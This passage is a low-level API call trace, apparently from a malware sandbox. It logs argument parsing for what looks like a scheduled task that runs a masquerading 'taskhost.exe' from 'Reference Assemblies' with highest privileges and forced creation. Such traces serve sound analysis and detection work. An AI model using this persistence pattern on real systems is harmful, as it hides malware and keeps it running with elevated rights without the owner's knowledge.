Assemblies\\taskhost.exe'") returned 52 [0143.495] StrChrIW (lpStart="'C:\\Program Files\\Reference Assemblies\\taskhost.exe'", wMatch=0x3a) returned=":\\Program Files\\Reference Assemblies\\taskhost.exe'" [0143.495] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\taskhost.exe'") returned 52 [0143.495] GetProcessHeap () returned 0x3c0000 [0143.495] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x18) returned 0x3dc350 [0143.495] _memicmp (_Buf1=0x3dc350, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.495] GetProcessHeap () returned 0x3c0000 [0143.495] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xe) returned 0x3dc370 [0143.495] GetProcessHeap () returned 0x3c0000 [0143.495] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x18) returned 0x3dd500 [0143.495] _memicmp (_Buf1=0x3dd500, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.495] GetProcessHeap () returned 0x3c0000 [0143.495] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6c) returned 0x3ddcd0 [0143.495] SetLastError (dwErrCode=0x7a) [0143.495] SetLastError (dwErrCode=0x0) [0143.495] SetLastError (dwErrCode=0x0) [0143.495] lstrlenW (lpString="'C") returned 2 [0143.495] lstrlenW (lpString="-/") returned 2 [0143.495] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0143.495] SetLastError (dwErrCode=0x490) [0143.495] SetLastError (dwErrCode=0x490) [0143.495] SetLastError (dwErrCode=0x0) [0143.495] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\taskhost.exe'") returned 52 [0143.495] GetProcessHeap () returned 0x3c0000 [0143.495] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6a) returned 0x3ddd50 [0143.495] GetProcessHeap () returned 0x3c0000 [0143.496] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3dcd60 [0143.496] SetLastError (dwErrCode=0x0) [0143.496] SetLastError (dwErrCode=0x0) [0143.496] lstrlenW (lpString="/rl") returned 3 [0143.496] lstrlenW (lpString="-/") returned 2 [0143.496] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0143.496] lstrlenW (lpString="?") returned 1 [0143.496] lstrlenW (lpString="?") returned 1 [0143.496] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.496] lstrlenW (lpString="rl") returned 2 [0143.496] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.496] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|?|") returned 3 [0143.496] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|rl|") returned 4 [0143.496] lstrlenW (lpString="|?|") returned 3 [0143.496] lstrlenW (lpString="|rl|") returned 4 [0143.496] SetLastError (dwErrCode=0x490) [0143.496] lstrlenW (lpString="create") returned 6 [0143.496] lstrlenW (lpString="create") returned 6 [0143.496] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.496] lstrlenW (lpString="rl") returned 2 [0143.496] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.496] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|create|") returned 8 [0143.496] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|rl|") returned 4 [0143.496] lstrlenW (lpString="|create|") returned 8 [0143.519] lstrlenW (lpString="|rl|") returned 4 [0143.519] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0143.519] SetLastError (dwErrCode=0x490) [0143.519] lstrlenW (lpString="delete") returned 6 [0143.519] lstrlenW (lpString="delete") returned 6 [0143.519] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.519] lstrlenW (lpString="rl") returned 2 [0143.519] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.519] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|delete|") returned 8 [0143.520] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|rl|") returned 4 [0143.520] lstrlenW (lpString="|delete|") returned 8 [0143.520] lstrlenW (lpString="|rl|") returned 4 [0143.520] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0143.520] SetLastError (dwErrCode=0x490) [0143.520] lstrlenW (lpString="query") returned 5 [0143.520] lstrlenW (lpString="query") returned 5 [0143.520] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.520] lstrlenW (lpString="rl") returned 2 [0143.520] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.521] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x8, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|query|") returned 7 [0143.521] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|rl|") returned 4 [0143.521] lstrlenW (lpString="|query|") returned 7 [0143.521] lstrlenW (lpString="|rl|") returned 4 [0143.521] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0143.521] SetLastError (dwErrCode=0x490) [0143.521] lstrlenW (lpString="change") returned 6 [0143.521] lstrlenW (lpString="change") returned 6 [0143.521] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.521] lstrlenW (lpString="rl") returned 2 [0143.521] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.521] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|change|") returned 8 [0143.521] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|rl|") returned 4 [0143.521] lstrlenW (lpString="|change|") returned 8 [0143.521] lstrlenW (lpString="|rl|") returned 4 [0143.521] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0143.521] SetLastError (dwErrCode=0x490) [0143.521] lstrlenW (lpString="run") returned 3 [0143.521] lstrlenW (lpString="run") returned 3 [0143.521] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.521] lstrlenW (lpString="rl") returned 2 [0143.521] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.521] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|run|") returned 5 [0143.521] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|rl|") returned 4 [0143.521] lstrlenW (lpString="|run|") returned 5 [0143.521] lstrlenW (lpString="|rl|") returned 4 [0143.522] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0143.522] SetLastError (dwErrCode=0x490) [0143.522] lstrlenW (lpString="end") returned 3 [0143.522] lstrlenW (lpString="end") returned 3 [0143.522] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.522] lstrlenW (lpString="rl") returned 2 [0143.522] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.522] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|end|") returned 5 [0143.522] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|rl|") returned 4 [0143.522] lstrlenW (lpString="|end|") returned 5 [0143.522] lstrlenW (lpString="|rl|") returned 4 [0143.522] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0143.522] SetLastError (dwErrCode=0x490) [0143.522] lstrlenW (lpString="showsid") returned 7 [0143.522] lstrlenW (lpString="showsid") returned 7 [0143.522] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.522] lstrlenW (lpString="rl") returned 2 [0143.522] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.522] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0xa, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|showsid|") returned 9 [0143.522] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|rl|") returned 4 [0143.522] lstrlenW (lpString="|showsid|") returned 9 [0143.522] lstrlenW (lpString="|rl|") returned 4 [0143.522] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0143.522] SetLastError (dwErrCode=0x490) [0143.522] SetLastError (dwErrCode=0x490) [0143.522] SetLastError (dwErrCode=0x0) [0143.522] lstrlenW (lpString="/rl") returned 3 [0143.523] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0143.523] SetLastError (dwErrCode=0x490) [0143.523] SetLastError (dwErrCode=0x0) [0143.523] lstrlenW (lpString="/rl") returned 3 [0143.523] GetProcessHeap () returned 0x3c0000 [0143.523] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x8) returned 0x3dddd0 [0143.523] GetProcessHeap () returned 0x3c0000 [0143.523] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3dcd90 [0143.523] SetLastError (dwErrCode=0x0) [0143.523] SetLastError (dwErrCode=0x0) [0143.523] lstrlenW (lpString="HIGHEST") returned 7 [0143.523] lstrlenW (lpString="-/") returned 2 [0143.523] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0143.523] SetLastError (dwErrCode=0x490) [0143.523] SetLastError (dwErrCode=0x490) [0143.523] SetLastError (dwErrCode=0x0) [0143.523] lstrlenW (lpString="HIGHEST") returned 7 [0143.523] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0143.523] SetLastError (dwErrCode=0x490) [0143.523] SetLastError (dwErrCode=0x0) [0143.523] lstrlenW (lpString="HIGHEST") returned 7 [0143.523] GetProcessHeap () returned 0x3c0000 [0143.523] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x10) returned 0x3dd520 [0143.523] GetProcessHeap () returned 0x3c0000 [0143.523] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3dcdc0 [0143.523] SetLastError (dwErrCode=0x0) [0143.523] SetLastError (dwErrCode=0x0) [0143.523] lstrlenW (lpString="/f") returned 2 [0143.523] lstrlenW (lpString="-/") returned 2 [0143.524] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0143.524] lstrlenW (lpString="?") returned 1 [0143.524] lstrlenW (lpString="?") returned 1 [0143.524] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.524] lstrlenW (lpString="f") returned 1 [0143.524] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.524] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|?|") returned 3 [0143.524] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|f|") returned 3 [0143.524] lstrlenW (lpString="|?|") returned 3 [0143.524] lstrlenW (lpString="|f|") returned 3 [0143.524] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0143.524] SetLastError (dwErrCode=0x490) [0143.524] lstrlenW (lpString="create") returned 6 [0143.524] lstrlenW (lpString="create") returned 6 [0143.524] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.524] lstrlenW (lpString="f") returned 1 [0143.524] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.524] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|create|") returned 8 [0143.524] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|f|") returned 3 [0143.524] lstrlenW (lpString="|create|") returned 8 [0143.524] lstrlenW (lpString="|f|") returned 3 [0143.525] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0143.525] SetLastError (dwErrCode=0x490) [0143.525] lstrlenW (lpString="delete") returned 6 [0143.525] lstrlenW (lpString="delete") returned 6 [0143.525] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.525] lstrlenW (lpString="f") returned 1 [0143.525] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.525] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|delete|") returned 8 [0143.525] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|f|") returned 3 [0143.525] lstrlenW (lpString="|delete|") returned 8 [0143.525] lstrlenW (lpString="|f|") returned 3 [0143.525] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0143.525] SetLastError (dwErrCode=0x490) [0143.525] lstrlenW (lpString="query") returned 5 [0143.525] lstrlenW (lpString="query") returned 5 [0143.525] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.525] lstrlenW (lpString="f") returned 1 [0143.525] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.525] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x8, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|query|") returned 7 [0143.525] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|f|") returned 3 [0143.526] lstrlenW (lpString="|query|") returned 7 [0143.526] lstrlenW (lpString="|f|") returned 3 [0143.526] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0143.526] SetLastError (dwErrCode=0x490) [0143.526] lstrlenW (lpString="change") returned 6 [0143.526] lstrlenW (lpString="change") returned 6 [0143.526] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.526] lstrlenW (lpString="f") returned 1 [0143.526] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.526] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|change|") returned 8 [0143.526] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|f|") returned 3 [0143.526] lstrlenW (lpString="|change|") returned 8 [0143.526] lstrlenW (lpString="|f|") returned 3 [0143.526] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0143.526] SetLastError (dwErrCode=0x490) [0143.526] lstrlenW (lpString="run") returned 3 [0143.526] lstrlenW (lpString="run") returned 3 [0143.526] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.526] lstrlenW (lpString="f") returned 1 [0143.526] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.526] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|run|") returned 5 [0143.526] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|f|") returned 3 [0143.526] lstrlenW (lpString="|run|") returned 5 [0143.526] lstrlenW (lpString="|f|") returned 3 [0143.526] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0143.527] SetLastError (dwErrCode=0x490) [0143.527] lstrlenW (lpString="end") returned 3 [0143.527] lstrlenW (lpString="end") returned 3 [0143.527] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.527] lstrlenW (lpString="f") returned 1 [0143.527] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.527] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|end|") returned 5 [0143.527] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|f|") returned 3 [0143.527] lstrlenW (lpString="|end|") returned 5 [0143.527] lstrlenW (lpString="|f|") returned 3 [0143.527] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0143.527] SetLastError (dwErrCode=0x490) [0143.527] lstrlenW (lpString="showsid") returned 7 [0143.527] lstrlenW (lpString="showsid") returned 7 [0143.527] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.527] lstrlenW (lpString="f") returned 1 [0143.527] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.527] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0xa, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|showsid|") returned 9 [0143.527] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|f|") returned 3 [0143.527] lstrlenW (lpString="|showsid|") returned 9 [0143.527] lstrlenW (lpString="|f|") returned 3 [0143.527] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0143.527] SetLastError (dwErrCode=0x490) [0143.527] SetLastError (dwErrCode=0x490) [0143.527] SetLastError (dwErrCode=0x0) [0143.527] lstrlenW (lpString="/f") returned 2 [0143.528] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0143.528] SetLastError (dwErrCode=0x490) [0143.528] SetLastError (dwErrCode=0x0) [0143.528] lstrlenW (lpString="/f") returned 2 [0143.528] GetProcessHeap () returned 0x3c0000 [0143.528] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dddf0 [0143.528] GetProcessHeap () returned 0x3c0000 [0143.528] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3dcdf0 [0143.528] SetLastError (dwErrCode=0x0) [0143.528] GetProcessHeap () returned 0x3c0000 [0143.528] GetProcessHeap () returned 0x3c0000 [0143.528] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dc200) returned 1 [0143.528] GetProcessHeap () returned 0x3c0000 [0143.528] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dc200) returned 0x8 [0143.528] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dc200 | out: hHeap=0x3c0000) returned 1 [0143.528] GetProcessHeap () returned 0x3c0000 [0143.528] GetProcessHeap () returned 0x3c0000 [0143.528] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dcc10) returned 1 [0143.528] GetProcessHeap () returned 0x3c0000 [0143.529] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dcc10) returned 0x20 [0143.529] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dcc10 | out: hHeap=0x3c0000) returned 1 [0143.529] GetProcessHeap () returned 0x3c0000 [0143.529] GetProcessHeap () returned 0x3c0000 [0143.529] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dc290) returned 1 [0143.529] GetProcessHeap () returned 0x3c0000 [0143.529] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dc290) returned 0x14 [0143.529] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dc290 | out: hHeap=0x3c0000) returned 1 [0143.529] GetProcessHeap () returned 0x3c0000 [0143.529] GetProcessHeap () returned 0x3c0000 [0143.529] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dcc40) returned 1 [0143.529] GetProcessHeap () returned 0x3c0000 [0143.529] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dcc40) returned 0x20 [0143.530] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dcc40 | out: hHeap=0x3c0000) returned 1 [0143.530] GetProcessHeap () returned 0x3c0000 [0143.530] GetProcessHeap () returned 0x3c0000 [0143.530] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dc2b0) returned 1 [0143.530] GetProcessHeap () returned 0x3c0000 [0143.530] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dc2b0) returned 0x8 [0143.530] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dc2b0 | out: hHeap=0x3c0000) returned 1 [0143.530] GetProcessHeap () returned 0x3c0000 [0143.530] GetProcessHeap () returned 0x3c0000 [0143.530] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dcc70) returned 1 [0143.530] GetProcessHeap () returned 0x3c0000 [0143.530] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dcc70) returned 0x20 [0143.533] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dcc70 | out: hHeap=0x3c0000) returned 1 [0143.533] GetProcessHeap () returned 0x3c0000 [0143.533] GetProcessHeap () returned 0x3c0000 [0143.533] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dc2d0) returned 1 [0143.533] GetProcessHeap () returned 0x3c0000 [0143.533] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dc2d0) returned 0xe [0143.533] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dc2d0 | out: hHeap=0x3c0000) returned 1 [0143.533] GetProcessHeap () returned 0x3c0000 [0143.533] GetProcessHeap () returned 0x3c0000 [0143.533] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dcca0) returned 1 [0143.533] GetProcessHeap () returned 0x3c0000 [0143.533] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dcca0) returned 0x20 [0143.534] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dcca0 | out: hHeap=0x3c0000) returned 1 [0143.535] GetProcessHeap () returned 0x3c0000 [0143.535] GetProcessHeap () returned 0x3c0000 [0143.535] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dc2f0) returned 1 [0143.535] GetProcessHeap () returned 0x3c0000 [0143.535] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dc2f0) returned 0x8 [0143.535] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dc2f0 | out: hHeap=0x3c0000) returned 1 [0143.535] GetProcessHeap () returned 0x3c0000 [0143.535] GetProcessHeap () returned 0x3c0000 [0143.535] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dccd0) returned 1 [0143.535] GetProcessHeap () returned 0x3c0000 [0143.535] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dccd0) returned 0x20 [0143.536] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dccd0 | out: hHeap=0x3c0000) returned 1 [0143.536] GetProcessHeap () returned 0x3c0000 [0143.536] GetProcessHeap () returned 0x3c0000 [0143.536] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dc310) returned 1 [0143.536] GetProcessHeap () returned 0x3c0000 [0143.536] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dc310) returned 0x4 [0143.536] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dc310 | out: hHeap=0x3c0000) returned 1 [0143.536] GetProcessHeap () returned 0x3c0000 [0143.536] GetProcessHeap () returned 0x3c0000 [0143.536] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dcd00) returned 1 [0143.536] GetProcessHeap () returned 0x3c0000 [0143.536] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dcd00) returned 0x20 [0143.536] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dcd00 | out: hHeap=0x3c0000) returned 1 [0143.536] GetProcessHeap () returned 0x3c0000 [0143.536] GetProcessHeap () returned 0x3c0000 [0143.536] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dc330) returned 1 [0143.536] GetProcessHeap () returned 0x3c0000 [0143.536] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dc330) returned 0x8 [0143.537] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dc330 | out: hHeap=0x3c0000) returned 1 [0143.537] GetProcessHeap () returned 0x3c0000 [0143.537] GetProcessHeap () returned 0x3c0000 [0143.537] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dcd30) returned 1 [0143.537] GetProcessHeap () returned 0x3c0000 [0143.537] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dcd30) returned 0x20 [0143.537] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dcd30 | out: hHeap=0x3c0000) returned 1 [0143.537] GetProcessHeap () returned 0x3c0000 [0143.537] GetProcessHeap () returned 0x3c0000 [0143.537] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3ddd50) returned 1 [0143.537] GetProcessHeap () returned 0x3c0000 [0143.537] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3ddd50) returned 0x6a [0143.537] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3ddd50 | out: hHeap=0x3c0000) returned 1 [0143.537] GetProcessHeap () returned 0x3c0000 [0143.538] GetProcessHeap () returned 0x3c0000 [0143.538] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dcd60) returned 1 [0143.538] GetProcessHeap () returned 0x3c0000 [0143.538] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dcd60) returned 0x20 [0143.538] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dcd60 | out: hHeap=0x3c0000) returned 1 [0143.538] GetProcessHeap () returned 0x3c0000 [0143.538] GetProcessHeap () returned 0x3c0000 [0143.538] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dddd0) returned 1 [0143.538] GetProcessHeap () returned 0x3c0000 [0143.538] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dddd0) returned 0x8 [0143.538] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dddd0 | out: hHeap=0x3c0000) returned 1 [0143.538] GetProcessHeap () returned 0x3c0000 [0143.538] GetProcessHeap () returned 0x3c0000 [0143.538] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dcd90) returned 1 [0143.538] GetProcessHeap () returned 0x3c0000 [0143.538] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dcd90) returned 0x20 [0143.539] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dcd90 | out: hHeap=0x3c0000) returned 1 [0143.539] GetProcessHeap () returned 0x3c0000 [0143.539] GetProcessHeap () returned 0x3c0000 [0143.539] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dd520) returned 1 [0143.539] GetProcessHeap () returned 0x3c0000 [0143.539] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dd520) returned 0x10 [0143.539] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dd520 | out: hHeap=0x3c0000) returned 1 [0143.539] GetProcessHeap () returned 0x3c0000 [0143.539] GetProcessHeap () returned 0x3c0000 [0143.539] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dcdc0) returned 1 [0143.539] GetProcessHeap () returned 0x3c0000 [0143.539] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dcdc0) returned 0x20 [0143.539] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dcdc0 | out: hHeap=0x3c0000) returned 1 [0143.539] GetProcessHeap () returned 0x3c0000 [0143.539] GetProcessHeap () returned 